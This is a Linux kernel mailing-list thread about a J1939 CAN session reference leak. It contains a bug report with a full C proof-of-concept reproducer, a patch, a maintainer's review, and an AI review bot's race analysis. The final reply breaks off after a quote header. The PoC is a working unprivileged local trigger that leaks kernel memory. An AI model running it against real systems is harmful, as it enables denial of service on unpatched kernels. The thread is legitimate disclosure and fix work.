[PATCH 0/1] can: j1939: fix session reference leak on TX timer restart

[PATCH 0/1] can: j1939: fix session reference leak on TX timer restart

[Zihan Xi]

Hi Linux kernel maintainers,

We found an issue in net/can/j1939/transport.c.
The bug is reachable by a user who can create user and network namespaces
and send CAN frames to a J1939 receiver.
The relevant details are provided below.

---- details below ----

This bug is tracked at: https://bugtracker.nebusec.ai/f/11143 (11143)

Bug details:

The TX timer scheduler takes a session reference on every call. Restarting
an already queued hrtimer changes its expiry but does not create a second
callback to release another reference. Repeated terminal ETP DATA packets
can rearm the same timer before its callback runs, retaining the session,
its skb, and associated device state. A runtime trace observed two starts
of the same armed timer before one callback. A short excerpt from the
baseline trace shows the same session and timer being started twice; the
second start reports that the timer was already armed, followed by one
expiry and callback:

             poc-389     [001] ..s1.   200.601373: txtimer_schedule: (j1939_tp_schedule_txtimer+0x4/0x60) session=0xffffa3da4a2bc400 msec=0x0
             poc-390     [000] ..s1.   200.601375: txtimer_schedule: (j1939_tp_schedule_txtimer+0x4/0x60) session=0xffffa3da4a2bc400 msec=0x0
             poc-389     [001] d.s2.   200.601390: hrtimer_start: hrtimer=ffffa3da4a2bc4b8 function=j1939_tp_txtimer expires=200464843123 softexpires=200464843123 mode=REL|SOFT was_armed=0
             poc-390     [000] d.s2.   200.601400: hrtimer_start: hrtimer=ffffa3da4a2bc4b8 function=j1939_tp_txtimer expires=200464853253 softexpires=200464853253 mode=REL|SOFT was_armed=1
             poc-390     [000] ..s1.   200.601429: hrtimer_expire_entry: hrtimer=ffffa3da4a2bc4b8 function=j1939_tp_txtimer now=200464882582
             poc-390     [000] ..s1.   200.601430: txtimer_callback: (j1939_tp_txtimer+0x4/0xe70) timer=0xffffa3da4a2bc4b8

The patch serializes timer rearming and reuses the queued timer's reference.

Reproducer:

The trigger uses raw CAN frames over namespace-local vxcan peers and a
concurrent duplicate-frame burst; packetdrill does not model this
CAN/J1939 device topology.

Compile the reproducer with:

    gcc -O2 -Wall -Wextra -Werror -pthread -static -o poc poc.c

Run it as an unprivileged account with user/network namespace support:

    unshare -Urn sh -c 'ip link add vxcan0 type vxcan peer name vxcan1 && ip link set vxcan0 up && ip link set vxcan1 up && ./poc vxcan0 vxcan1 2097152 4 32 4096 1'

We run the PoC in a 2 vCPU, 2 GB RAM x86 QEMU environment.
The PoC creates four 2 MiB ETP sessions and concurrently sends duplicate
terminal DATA packets over a vxcan pair.

------BEGIN PoC------

#define _GNU_SOURCE

#include <errno.h>
#include <linux/can.h>
#include <linux/can/j1939.h>
#include <linux/can/raw.h>
#include <net/if.h>
#include <poll.h>
#include <pthread.h>
#include <sched.h>
#include <signal.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <time.h>
#include <unistd.h>

#ifndef SYS_sendmmsg
#define SYS_sendmmsg 307
#endif

#define LOCAL_SA 0x80
#define REMOTE_SA_BASE 0x81
#define APP_PGN_BASE 0x01f100

#define J1939_ETP_PGN_CTL 0x00c800
#define J1939_ETP_PGN_DAT 0x00c700

#define J1939_ETP_CMD_ABORT 0xff
#define J1939_ETP_CMD_CTS 0x15
#define J1939_ETP_CMD_DPO 0x16
#define J1939_ETP_CMD_RTS 0x14

#define DEFAULT_SIZE (1024U * 1024U)
#define DEFAULT_DUPLICATES 256U
#define DEFAULT_SESSIONS 4096U
#define DEFAULT_THREADS 8U
#define FIRST_BLOCK_PKTS 255U

struct params {
	const char *tx_ifname;
	const char *rx_ifname;
	uint32_t session_size;
	uint32_t sessions;
	uint32_t threads;
	uint32_t duplicates;
	bool verbose;
};

struct can_burst {
	struct can_frame *frames;
	struct mmsghdr *msgs;
	struct iovec *iovecs;
	unsigned int nframes;
};

struct worker_ctx {
	int fd;
	int cpu;
	struct can_burst burst;
};

static pthread_barrier_t start_barrier;
static pthread_barrier_t done_barrier;
static volatile sig_atomic_t stop_workers;

static void die(const char *what);

static int sendmmsg_compat(int fd, struct mmsghdr *msgvec, unsigned int vlen,
			   unsigned int flags)
{
	return syscall(SYS_sendmmsg, fd, msgvec, vlen, flags);
}

static unsigned int sendmmsg_all(int fd, struct mmsghdr *msgvec,
				 unsigned int vlen, const char *what)
{
	unsigned int sent = 0;

	while (sent < vlen) {
		int ret = sendmmsg_compat(fd, &msgvec[sent], vlen - sent, 0);

		if (ret < 0)
			die(what);
		if (!ret) {
			errno = EIO;
			die(what);
		}
		sent += ret;
	}

	return sent;
}

static void die(const char *what)
{
	perror(what);
	exit(EXIT_FAILURE);
}

static void barrier_wait_or_die(pthread_barrier_t *barrier, const char *what)
{
	int ret = pthread_barrier_wait(barrier);

	if (ret != 0 && ret != PTHREAD_BARRIER_SERIAL_THREAD) {
		errno = ret;
		die(what);
	}
}

static unsigned int parse_u32(const char *arg, const char *what)
{
	char *endp;
	unsigned long value;

	errno = 0;
	value = strtoul(arg, &endp, 0);
	if (errno || *endp || value > UINT32_MAX) {
		fprintf(stderr, "invalid %s: %s\n", what, arg);
		exit(EXIT_FAILURE);
	}

	return (unsigned int)value;
}

static void pin_to_cpu(int cpu)
{
	cpu_set_t set;

	CPU_ZERO(&set);
	CPU_SET(cpu, &set);
	if (pthread_setaffinity_np(pthread_self(), sizeof(set), &set))
		perror("pthread_setaffinity_np");
}

static canid_t make_can_id(uint8_t prio, uint32_t pgn, uint8_t sa, uint8_t da)
{
	canid_t can_id;

	can_id = CAN_EFF_FLAG | ((canid_t)prio << 26) | ((canid_t)pgn << 8) | sa;
	if (((pgn >> 8) & 0xff) < 240)
		can_id |= (canid_t)da << 8;

	return can_id;
}

static int ifindex_by_name(const char *ifname)
{
	unsigned int ifindex = if_nametoindex(ifname);

	if (!ifindex) {
		errno = ENODEV;
		die("if_nametoindex");
	}

	return (int)ifindex;
}

static int make_raw_socket(int ifindex)
{
	struct sockaddr_can addr = {
		.can_family = AF_CAN,
		.can_ifindex = ifindex,
	};
	int fd;
	int one = 1;

	fd = socket(PF_CAN, SOCK_RAW, CAN_RAW);
	if (fd < 0)
		die("socket(CAN_RAW)");

	if (setsockopt(fd, SOL_CAN_RAW, CAN_RAW_RECV_OWN_MSGS, &one,
		       sizeof(one)) < 0)
		die("setsockopt(CAN_RAW_RECV_OWN_MSGS)");

	if (bind(fd, (struct sockaddr *)&addr, sizeof(addr)) < 0)
		die("bind(CAN_RAW)");

	return fd;
}

static int make_j1939_listener(int ifindex)
{
	struct sockaddr_can addr = {
		.can_family = AF_CAN,
		.can_ifindex = ifindex,
		.can_addr.j1939 = {
			.name = 0,
			.pgn = J1939_NO_PGN,
			.addr = LOCAL_SA,
		},
	};
	int fd;

	fd = socket(PF_CAN, SOCK_DGRAM, CAN_J1939);
	if (fd < 0)
		die("socket(CAN_J1939)");

	if (bind(fd, (struct sockaddr *)&addr, sizeof(addr)) < 0)
		die("bind(CAN_J1939)");

	return fd;
}

static void send_frame(int fd, const struct can_frame *frame)
{
	ssize_t written = write(fd, frame, sizeof(*frame));

	if (written != (ssize_t)sizeof(*frame))
		die("write(can_frame)");
}

static void build_etp_rts(struct can_frame *frame, uint8_t sa, uint8_t da,
			  uint32_t size, uint32_t app_pgn)
{
	memset(frame, 0, sizeof(*frame));
	frame->can_id = make_can_id(6, J1939_ETP_PGN_CTL, sa, da);
	frame->len = 8;
	frame->data[0] = J1939_ETP_CMD_RTS;
	frame->data[1] = (size >> 0) & 0xff;
	frame->data[2] = (size >> 8) & 0xff;
	frame->data[3] = (size >> 16) & 0xff;
	frame->data[4] = (size >> 24) & 0xff;
	frame->data[5] = (app_pgn >> 0) & 0xff;
	frame->data[6] = (app_pgn >> 8) & 0xff;
	frame->data[7] = (app_pgn >> 16) & 0xff;
}

static void build_etp_dpo(struct can_frame *frame, uint8_t sa, uint8_t da,
			  uint32_t app_pgn)
{
	memset(frame, 0, sizeof(*frame));
	frame->can_id = make_can_id(6, J1939_ETP_PGN_CTL, sa, da);
	frame->len = 8;
	frame->data[0] = J1939_ETP_CMD_DPO;
	frame->data[1] = FIRST_BLOCK_PKTS;
	frame->data[2] = 0;
	frame->data[3] = 0;
	frame->data[4] = 0;
	frame->data[5] = (app_pgn >> 0) & 0xff;
	frame->data[6] = (app_pgn >> 8) & 0xff;
	frame->data[7] = (app_pgn >> 16) & 0xff;
}

static void build_etp_abort(struct can_frame *frame, uint8_t sa, uint8_t da,
			    uint32_t app_pgn)
{
	memset(frame, 0, sizeof(*frame));
	frame->can_id = make_can_id(6, J1939_ETP_PGN_CTL, sa, da);
	frame->len = 8;
	frame->data[0] = J1939_ETP_CMD_ABORT;
	frame->data[1] = 1;
	frame->data[2] = 0xff;
	frame->data[3] = 0xff;
	frame->data[4] = 0xff;
	frame->data[5] = (app_pgn >> 0) & 0xff;
	frame->data[6] = (app_pgn >> 8) & 0xff;
	frame->data[7] = (app_pgn >> 16) & 0xff;
}

static void build_etp_terminal_data(struct can_frame *frame, uint8_t remote_sa)
{
	memset(frame, 0, sizeof(*frame));
	frame->can_id = make_can_id(6, J1939_ETP_PGN_DAT, remote_sa, LOCAL_SA);
	frame->len = 8;
	frame->data[0] = FIRST_BLOCK_PKTS;
	memset(&frame->data[1], 'Z', 7);
}

static void free_burst(struct can_burst *burst)
{
	free(burst->iovecs);
	free(burst->msgs);
	free(burst->frames);
	memset(burst, 0, sizeof(*burst));
}

static void drain_raw_rx(int fd)
{
	struct pollfd pfd = {
		.fd = fd,
		.events = POLLIN,
	};

	for (;;) {
		struct can_frame frame;
		int ret = poll(&pfd, 1, 0);

		if (ret <= 0)
			return;

		if (read(fd, &frame, sizeof(frame)) < 0) {
			if (errno == EAGAIN || errno == EWOULDBLOCK)
				return;
			die("read(raw drain)");
		}
	}
}

static bool match_ctl_cmd(const struct can_frame *frame, uint8_t sa, uint8_t da,
			  uint32_t pgn, uint8_t cmd)
{
	uint32_t frame_pgn;
	uint8_t frame_sa;
	uint8_t frame_da = J1939_NO_ADDR;

	if (!(frame->can_id & CAN_EFF_FLAG))
		return false;

	frame_sa = frame->can_id & 0xff;
	frame_pgn = (frame->can_id >> 8) & J1939_PGN_MAX;
	if (((frame_pgn >> 8) & 0xff) < 240) {
		frame_da = frame_pgn & 0xff;
		frame_pgn &= J1939_PGN_PDU1_MAX;
	}

	return frame_sa == sa && frame_da == da &&
	       frame_pgn == pgn && frame->len >= 1 &&
	       frame->data[0] == cmd;
}

static bool wait_for_cts(int raw_fd, uint8_t remote_sa, uint32_t app_pgn,
			 bool verbose)
{
	struct pollfd pfd = {
		.fd = raw_fd,
		.events = POLLIN,
	};
	struct timespec start;

	if (clock_gettime(CLOCK_MONOTONIC, &start) < 0)
		die("clock_gettime");

	for (;;) {
		struct can_frame frame;
		struct timespec now;
		int elapsed_ms;
		int timeout_ms;
		int ret;

		if (clock_gettime(CLOCK_MONOTONIC, &now) < 0)
			die("clock_gettime");

		elapsed_ms = (int)((now.tv_sec - start.tv_sec) * 1000 +
				   (now.tv_nsec - start.tv_nsec) / 1000000);
		timeout_ms = 1000 - elapsed_ms;
		if (timeout_ms <= 0)
			return false;

		ret = poll(&pfd, 1, timeout_ms);
		if (ret < 0)
			die("poll(raw)");
		if (ret == 0)
			return false;

		if (!(pfd.revents & POLLIN))
			continue;

		if (read(raw_fd, &frame, sizeof(frame)) < 0)
			die("read(raw)");

		if (match_ctl_cmd(&frame, LOCAL_SA, remote_sa, J1939_ETP_PGN_CTL,
				  J1939_ETP_CMD_CTS)) {
			if (verbose) {
				printf("saw initial CTS for pgn=0x%05x remote_sa=0x%02x\n",
				       app_pgn, remote_sa);
				fflush(stdout);
			}
			return true;
		}
	}
}

static void init_burst(struct can_burst *burst, unsigned int nframes)
{
	memset(burst, 0, sizeof(*burst));
	burst->nframes = nframes;
	burst->frames = calloc(nframes, sizeof(*burst->frames));
	burst->msgs = calloc(nframes, sizeof(*burst->msgs));
	burst->iovecs = calloc(nframes, sizeof(*burst->iovecs));
	if (!burst->frames || !burst->msgs || !burst->iovecs)
		die("calloc(burst)");
}

static void finalize_burst(struct can_burst *burst)
{
	unsigned int i;

	for (i = 0; i < burst->nframes; i++) {
		burst->iovecs[i].iov_base = &burst->frames[i];
		burst->iovecs[i].iov_len = sizeof(burst->frames[i]);
		burst->msgs[i].msg_hdr.msg_iov = &burst->iovecs[i];
		burst->msgs[i].msg_hdr.msg_iovlen = 1;
	}
}

static void build_prefix_burst(struct can_burst *burst, uint8_t remote_sa,
			       uint32_t app_pgn)
{
	unsigned int i;

	init_burst(burst, FIRST_BLOCK_PKTS);
	build_etp_dpo(&burst->frames[0], remote_sa, LOCAL_SA, app_pgn);

	for (i = 1; i < FIRST_BLOCK_PKTS; i++) {
		memset(&burst->frames[i], 0, sizeof(burst->frames[i]));
		burst->frames[i].can_id = make_can_id(6, J1939_ETP_PGN_DAT,
						      remote_sa, LOCAL_SA);
		burst->frames[i].len = 8;
		burst->frames[i].data[0] = i;
		memset(&burst->frames[i].data[1], 'A' + (i % 26), 7);
	}

	finalize_burst(burst);
}

static void build_terminal_burst(struct can_burst *burst, uint8_t remote_sa,
				 unsigned int duplicates)
{
	unsigned int i;

	free_burst(burst);
	init_burst(burst, duplicates);

	for (i = 0; i < duplicates; i++)
		build_etp_terminal_data(&burst->frames[i], remote_sa);

	finalize_burst(burst);
}

static void *worker_main(void *arg)
{
	struct worker_ctx *ctx = arg;

	pin_to_cpu(ctx->cpu);

	for (;;) {
		barrier_wait_or_die(&start_barrier, "pthread_barrier_wait(start)");
		if (stop_workers)
			break;

		sendmmsg_all(ctx->fd, ctx->burst.msgs, ctx->burst.nframes,
			     "sendmmsg(worker)");

		barrier_wait_or_die(&done_barrier, "pthread_barrier_wait(done)");
	}

	return NULL;
}

static void init_workers(struct worker_ctx *workers, pthread_t *tids,
			 int ifindex, unsigned int threads, int ncpus)
{
	unsigned int i;

	if (pthread_barrier_init(&start_barrier, NULL, threads + 1))
		die("pthread_barrier_init(start)");
	if (pthread_barrier_init(&done_barrier, NULL, threads + 1))
		die("pthread_barrier_init(done)");

	for (i = 0; i < threads; i++) {
		workers[i].fd = make_raw_socket(ifindex);
		workers[i].cpu = i % ncpus;
		if (pthread_create(&tids[i], NULL, worker_main, &workers[i]))
			die("pthread_create");
	}
}

static void join_workers(struct worker_ctx *workers, pthread_t *tids,
			 unsigned int threads)
{
	unsigned int i;

	stop_workers = 1;
	barrier_wait_or_die(&start_barrier, "pthread_barrier_wait(stop)");

	for (i = 0; i < threads; i++) {
		if (pthread_join(tids[i], NULL))
			die("pthread_join");
		free_burst(&workers[i].burst);
		close(workers[i].fd);
	}

	pthread_barrier_destroy(&start_barrier);
	pthread_barrier_destroy(&done_barrier);
}

static void run_session(int raw_fd, struct worker_ctx *workers,
			uint32_t size, uint32_t threads, uint32_t duplicates,
			uint32_t session_idx, bool verbose)
{
	struct can_frame rts;
	struct can_frame abort;
	struct can_burst prefix = { 0 };
	uint8_t remote_sa;
	uint32_t app_pgn;
	unsigned int i;
	unsigned int sa_span = J1939_MAX_UNICAST_ADDR - REMOTE_SA_BASE + 1;

	remote_sa = REMOTE_SA_BASE + (session_idx % sa_span);
	app_pgn = APP_PGN_BASE + (session_idx % 0x100);

	build_etp_rts(&rts, remote_sa, LOCAL_SA, size, app_pgn);
	send_frame(raw_fd, &rts);

	if (!wait_for_cts(raw_fd, remote_sa, app_pgn, verbose)) {
		fprintf(stderr,
			"timed out waiting for initial CTS: session=%u remote_sa=0x%02x pgn=0x%05x size=%u\n",
			session_idx, remote_sa, app_pgn, size);
		exit(EXIT_FAILURE);
	}

	build_prefix_burst(&prefix, remote_sa, app_pgn);
	/* Ensure the receiver processes DPO before the data packet burst. */
	send_frame(raw_fd, &prefix.frames[0]);
	usleep(1000);
	sendmmsg_all(raw_fd, &prefix.msgs[1], prefix.nframes - 1,
		     "sendmmsg(prefix)");
	free_burst(&prefix);

	for (i = 0; i < threads; i++)
		build_terminal_burst(&workers[i].burst, remote_sa, duplicates);

	barrier_wait_or_die(&start_barrier, "pthread_barrier_wait(start-main)");
	barrier_wait_or_die(&done_barrier, "pthread_barrier_wait(done-main)");

	build_etp_abort(&abort, remote_sa, LOCAL_SA, app_pgn);
	send_frame(raw_fd, &abort);
}

static void usage(const char *prog)
{
	fprintf(stderr,
		"usage: %s [tx_ifname] [rx_ifname] [size] [sessions] [threads] [duplicates_per_thread] [verbose]\n",
		prog);
	exit(EXIT_FAILURE);
}

int main(int argc, char **argv)
{
	struct params params = {
		.tx_ifname = "vcan0",
		.rx_ifname = "vcan0",
		.session_size = DEFAULT_SIZE,
		.sessions = DEFAULT_SESSIONS,
		.threads = DEFAULT_THREADS,
		.duplicates = DEFAULT_DUPLICATES,
		.verbose = false,
	};
	struct worker_ctx *workers;
	pthread_t *tids;
	int ifindex;
	int rx_ifindex;
	int raw_fd;
	int j1939_fd;
	int ncpus;
	unsigned int i;

	if (argc > 8)
		usage(argv[0]);

	if (argc >= 2)
		params.tx_ifname = argv[1];
	if (argc >= 3)
		params.rx_ifname = argv[2];
	if (argc >= 4)
		params.session_size = parse_u32(argv[3], "size");
	if (argc >= 5)
		params.sessions = parse_u32(argv[4], "sessions");
	if (argc >= 6)
		params.threads = parse_u32(argv[5], "threads");
	if (argc >= 7)
		params.duplicates = parse_u32(argv[6], "duplicates");
	if (argc >= 8)
		params.verbose = parse_u32(argv[7], "verbose") != 0;

	if (params.session_size <= 1785) {
		fprintf(stderr, "size must be > 1785 to force ETP\n");
		return EXIT_FAILURE;
	}
	if (!params.sessions || !params.threads || !params.duplicates)
		usage(argv[0]);

	ncpus = sysconf(_SC_NPROCESSORS_ONLN);
	if (ncpus < 1)
		die("sysconf(_SC_NPROCESSORS_ONLN)");

	workers = calloc(params.threads, sizeof(*workers));
	tids = calloc(params.threads, sizeof(*tids));
	if (!workers || !tids)
		die("calloc(workers)");

	ifindex = ifindex_by_name(params.tx_ifname);
	rx_ifindex = ifindex_by_name(params.rx_ifname);
	j1939_fd = make_j1939_listener(rx_ifindex);
	raw_fd = make_raw_socket(ifindex);
	init_workers(workers, tids, ifindex, params.threads, ncpus);

	printf("tx_if=%s(%d) rx_if=%s(%d) size=%u sessions=%u threads=%u duplicates_per_thread=%u\n",
	       params.tx_ifname, ifindex, params.rx_ifname, rx_ifindex,
	       params.session_size, params.sessions, params.threads,
	       params.duplicates);
	fflush(stdout);

	for (i = 0; i < params.sessions; i++) {
		drain_raw_rx(raw_fd);
		run_session(raw_fd, workers, params.session_size, params.threads,
			    params.duplicates, i, params.verbose);
		if ((i + 1) % 16 == 0 || params.verbose) {
			printf("completed %u sessions\n", i + 1);
			fflush(stdout);
		}
	}

	join_workers(workers, tids, params.threads);
	close(raw_fd);
	close(j1939_fd);
	free(tids);
	free(workers);

	return 0;
}

------END PoC--------

Best regards,
Zihan Xi

Zihan Xi (1):
  can: j1939: fix session reference leak on TX timer restart

 net/can/j1939/j1939-priv.h |  3 +++
 net/can/j1939/transport.c  | 11 ++++++++++-
 2 files changed, 13 insertions(+), 1 deletion(-)

-- 
2.43.0

[PATCH 1/1] can: j1939: fix session reference leak on TX timer restart

[Zihan Xi]

The TX timer holds a session reference while it is queued. Restarting an
active timer only changes its expiry, so taking another reference for each
restart can leak sessions.

Serialize TX timer rearming and reuse the queued timer reference. Take a
new reference when no queued timer owns one, including if a callback is
running.

Fixes: 9d71dd0c7009 ("can: add support of SAE J1939 protocol")

Cc: stable@vger.kernel.org
Reported-by: Vega <vega@nebusec.ai>
Link: https://bugtracker.nebusec.ai/f/11143
Assisted-by: LLM
Signed-off-by: Zihan Xi <zihanx@nebusec.ai>
---
 net/can/j1939/j1939-priv.h |  3 +++
 net/can/j1939/transport.c  | 11 ++++++++++-
 2 files changed, 13 insertions(+), 1 deletion(-)

diff --git a/net/can/j1939/j1939-priv.h b/net/can/j1939/j1939-priv.h
index cf26352d1d8c..6c46dec73bbb 100644
--- a/net/can/j1939/j1939-priv.h
+++ b/net/can/j1939/j1939-priv.h
@@ -10,6 +10,7 @@
 #define _J1939_PRIV_H_
 
 #include <linux/can/j1939.h>
+#include <linux/spinlock.h>
 #include <net/sock.h>
 
 /* Timeout to receive the abort signal over loop back. In case CAN
@@ -290,6 +291,8 @@ struct j1939_session {
 		unsigned int dpo;
 	} pkt;
 	struct hrtimer txtimer, rxtimer;
+	/* Serialize concurrent TX timer rearming. */
+	spinlock_t txtimer_lock;
 };
 
 struct j1939_sock {
diff --git a/net/can/j1939/transport.c b/net/can/j1939/transport.c
index 8fcfd13e5e6f..e9af8547c69b 100644
--- a/net/can/j1939/transport.c
+++ b/net/can/j1939/transport.c
@@ -716,9 +716,17 @@ static int j1939_xtp_tx_abort(struct j1939_priv *priv,
 
 void j1939_tp_schedule_txtimer(struct j1939_session *session, int msec)
 {
-	j1939_session_get(session);
+	int ret;
+
+	spin_lock_bh(&session->txtimer_lock);
+	/* Keep the timer's reference when only changing its expiry. */
+	ret = hrtimer_try_to_cancel(&session->txtimer);
+	/* A running callback may already have requeued the timer. */
+	if (ret != 1 && !hrtimer_is_queued(&session->txtimer))
+		j1939_session_get(session);
 	hrtimer_start(&session->txtimer, ms_to_ktime(msec),
 		      HRTIMER_MODE_REL_SOFT);
+	spin_unlock_bh(&session->txtimer_lock);
 }
 
 static inline void j1939_tp_set_rxtimeout(struct j1939_session *session,
@@ -1526,6 +1534,7 @@ static struct j1939_session *j1939_session_new(struct j1939_priv *priv,
 
 	INIT_LIST_HEAD(&session->active_session_list_entry);
 	INIT_LIST_HEAD(&session->sk_session_queue_entry);
+	spin_lock_init(&session->txtimer_lock);
 	kref_init(&session->kref);
 	netdev_hold(priv->ndev, &session->priv_dev_tracker, gfp_any());
 
-- 
2.43.0

Re: [PATCH 1/1] can: j1939: fix session reference leak on TX timer restart

[Marc Kleine-Budde]

[-- Attachment #1: Type: text/plain, Size: 3290 bytes --]

On 26.10.2026 07:02:48, Zihan Xi wrote:
> The TX timer holds a session reference while it is queued. Restarting an
> active timer only changes its expiry, so taking another reference for each
> restart can leak sessions.
>
> Serialize TX timer rearming and reuse the queued timer reference. Take a
> new reference when no queued timer owns one, including if a callback is
> running.
>
> Fixes: 9d71dd0c7009 ("can: add support of SAE J1939 protocol")
>

Drop the newline after the Fixes: tag.

> Cc: stable@vger.kernel.org
> Reported-by: Vega <vega@nebusec.ai>
> Link: https://bugtracker.nebusec.ai/f/11143
> Assisted-by: LLM

Please remove the Assisted-by: tag, it's obsolete. Instead, please state
in your cover letter that LLM were used to create the patch. See commit
1e035297ffda ("docs: remove Assisted-by references") for details.

> Signed-off-by: Zihan Xi <zihanx@nebusec.ai>
> ---

What about the txtimer in transport.c?

| net/can/j1939/transport.c:306:31: warning: passing pointer to variable 'txtimer' requires holding spinlock '&j1939_session::txtimer_lock' [-Wthread-safety-pointer]
|   306 |         if (hrtimer_cancel(&session->txtimer))
|       |                                      ^
| net/can/j1939/transport.c:1552:26: warning: passing pointer to variable 'txtimer' requires holding spinlock '&j1939_session::txtimer_lock' [-Wthread-safety-pointer]
|  1552 |         hrtimer_setup(&session->txtimer, j1939_tp_txtimer, CLOCK_MONOTONIC, HRTIMER_MODE_REL_SOFT);
|       |                                 ^
| net/can/j1939/transport.c:2254:40: warning: passing pointer to variable 'txtimer' requires holding spinlock '&j1939_session::txtimer_lock' [-Wthread-safety-pointer]
|  2254 |                         if (hrtimer_try_to_cancel(&session->txtimer) == 1)
|       |                                                             ^


>  net/can/j1939/j1939-priv.h |  3 +++
>  net/can/j1939/transport.c  | 11 ++++++++++-
>  2 files changed, 13 insertions(+), 1 deletion(-)
>
> diff --git a/net/can/j1939/j1939-priv.h b/net/can/j1939/j1939-priv.h
> index cf26352d1d8c..6c46dec73bbb 100644
> --- a/net/can/j1939/j1939-priv.h
> +++ b/net/can/j1939/j1939-priv.h
> @@ -10,6 +10,7 @@
>  #define _J1939_PRIV_H_
>
>  #include <linux/can/j1939.h>
> +#include <linux/spinlock.h>
>  #include <net/sock.h>
>
>  /* Timeout to receive the abort signal over loop back. In case CAN
> @@ -290,6 +291,8 @@ struct j1939_session {
>  		unsigned int dpo;
>  	} pkt;
>  	struct hrtimer txtimer, rxtimer;

Add __guarded_by to the txtimer:

| struct hrtimer txtimer __guarded_by(&txtimer_lock);

and switch on context analysis for j1939:

--- a/net/can/j1939/Makefile
+++ b/net/can/j1939/Makefile
@@ -1,5 +1,7 @@
 # SPDX-License-Identifier: GPL-2.0

+CONTEXT_ANALYSIS := y
+
 obj-$(CONFIG_CAN_J1939) += can-j1939.o

 can-j1939-objs := \

...and compile with clang-23. See
Documentation/dev-tools/context-analysis.rst for more details.

regards,
Marc

--
Pengutronix e.K.                 | Marc Kleine-Budde          |
Embedded Linux                   | https://www.pengutronix.de |
Vertretung Nürnberg              | Phone: +49-5121-206917-129 |
Amtsgericht Hildesheim, HRA 2686 | Fax:   +49-5121-206917-9   |

[-- Attachment #2: signature.asc --]
[-- Type: application/pgp-signature, Size: 228 bytes --]

Re: [PATCH 1/1] can: j1939: fix session reference leak on TX timer restart

[sashiko-bot]

Thank you for your contribution! Sashiko AI review found 2 potential issue(s) to consider:
- [Critical] can: j1939: session refcount underflow in j1939_tp_schedule_txtimer()
- [High] can: j1939: race between j1939_tp_schedule_txtimer() and txtimer cancellation
--

commit 132d2449245f60a20ddade9b51a9c2efc0a02136
Author: Zihan Xi <zihanx@nebusec.ai>

can: j1939: fix session reference leak on TX timer restart

This patch adds a spinlock to serialize TX timer rearming in
j1939_tp_schedule_txtimer() and reuses the existing session reference when
restarting an already queued TX timer.

Link: https://bugtracker.nebusec.ai/f/11143

> diff --git a/net/can/j1939/transport.c b/net/can/j1939/transport.c
> index 8fcfd13e5e6f8..e9af8547c69b4 100644
> --- a/net/can/j1939/transport.c
> +++ b/net/can/j1939/transport.c
> @@ -716,9 +716,17 @@ static int j1939_xtp_tx_abort(struct j1939_priv *priv,
>  
>  void j1939_tp_schedule_txtimer(struct j1939_session *session, int msec)
>  {
> -	j1939_session_get(session);
> +	int ret;
> +
> +	spin_lock_bh(&session->txtimer_lock);
> +	/* Keep the timer's reference when only changing its expiry. */
> +	ret = hrtimer_try_to_cancel(&session->txtimer);

[Severity: High]
Could temporarily dequeuing session->txtimer here race with callers that
cancel the timer without holding session->txtimer_lock?

In net/can/j1939/transport.c, neither j1939_session_txtimer_cancel() nor
j1939_cancel_active_session() acquires session->txtimer_lock:

static void j1939_session_txtimer_cancel(struct j1939_session *session)
{
	if (hrtimer_cancel(&session->txtimer))
		j1939_session_put(session);
}

and in j1939_cancel_active_session():

	if (hrtimer_try_to_cancel(&session->txtimer) == 1)
		j1939_session_put(session);

Previously, j1939_tp_schedule_txtimer() called hrtimer_start() directly on
an already queued timer, updating its expiry under the hrtimer base lock
without transitioning hrtimer_active(&session->txtimer) to false.

With this change, when session->txtimer is queued and its callback is not
running, hrtimer_try_to_cancel(&session->txtimer) dequeues the timer and
returns 1, making hrtimer_active(&session->txtimer) false until
hrtimer_start() runs.

If another CPU calls j1939_session_txtimer_cancel() (for example via
j1939_session_timers_cancel() on session abort or completion, or from
j1939_xtp_rx_cts_one()) or j1939_cancel_active_session() during that window,
hrtimer_cancel() / hrtimer_try_to_cancel() will see the timer as inactive
and return 0. j1939_tp_schedule_txtimer() will then call hrtimer_start() and
re-arm session->txtimer on a session whose timers were already cancelled.

> +	/* A running callback may already have requeued the timer. */
> +	if (ret != 1 && !hrtimer_is_queued(&session->txtimer))
> +		j1939_session_get(session);
>  	hrtimer_start(&session->txtimer, ms_to_ktime(msec),
>  		      HRTIMER_MODE_REL_SOFT);

[Severity: Critical]
What prevents a queued session->txtimer from expiring or being cancelled
between the lockless hrtimer_is_queued() check and hrtimer_start(), causing
a refcount underflow on session->kref?

In kernel/time/hrtimer.c, hrtimer_try_to_cancel() leaves the timer queued
and returns -1 whenever the timer callback is currently running:

	if (!hrtimer_callback_running(timer)) {
		ret = remove_hrtimer(timer, base, HRTIMER_STATE_INACTIVE);
		if (ret)
			trace_hrtimer_cancel(timer);
	}

Consider the following sequence across two CPUs when j1939_tp_txtimer() is
running on CPU 0 and has already requeued session->txtimer once (holding one
session->kref reference for the running callback and a second reference for
the queued timer):

1. CPU 1 calls j1939_tp_schedule_txtimer() and takes session->txtimer_lock.
   Because j1939_tp_txtimer() is still running on CPU 0,
   hrtimer_try_to_cancel(&session->txtimer) returns -1 without removing the
   queued timer.

2. CPU 1 checks hrtimer_is_queued(&session->txtimer), which observes
   timer->is_queued == 1, so CPU 1 skips j1939_session_get(session) intending
   to reuse the queued timer's reference.

3. Before CPU 1 enters hrtimer_start() and takes the hrtimer base lock, the
   running j1939_tp_txtimer() callback on CPU 0 finishes (dropping its own
   reference via j1939_session_put(session)), and the queued timer either:
   - immediately expires in __hrtimer_run_queues() / __run_hrtimer() (which
     does not take session->txtimer_lock), dequeuing the timer and running a
     second j1939_tp_txtimer() that drops the second session->kref reference:

	j1939_session_put(session);

	return HRTIMER_NORESTART;

   - or is cancelled by an unlocked j1939_session_txtimer_cancel() or
     j1939_cancel_active_session() on another CPU, which also dequeues the
     timer and drops the second session->kref reference.

4. CPU 1 then executes hrtimer_start(&session->txtimer, ...), which enqueues
   session->txtimer from the inactive state without having taken a new
   session reference.

When that newly started timer subsequently fires in j1939_tp_txtimer() or is
cancelled, j1939_session_put(session) will drop a reference that was never
taken, underflowing session->kref and freeing struct j1939_session while it
is still in use.

-- 
Sashiko AI review · https://sashiko.dev/#/patchset/cover.1792979091.git.zihanx@nebusec.ai?part=1

Re: [PATCH 1/1] can: j1939: fix session reference leak on TX timer restart

[zihan xi]

On Mon, Oct 26, 2026 at 3:45 PM Marc Kleine-Budde <mkl@pengutronix.de> wrote:
>
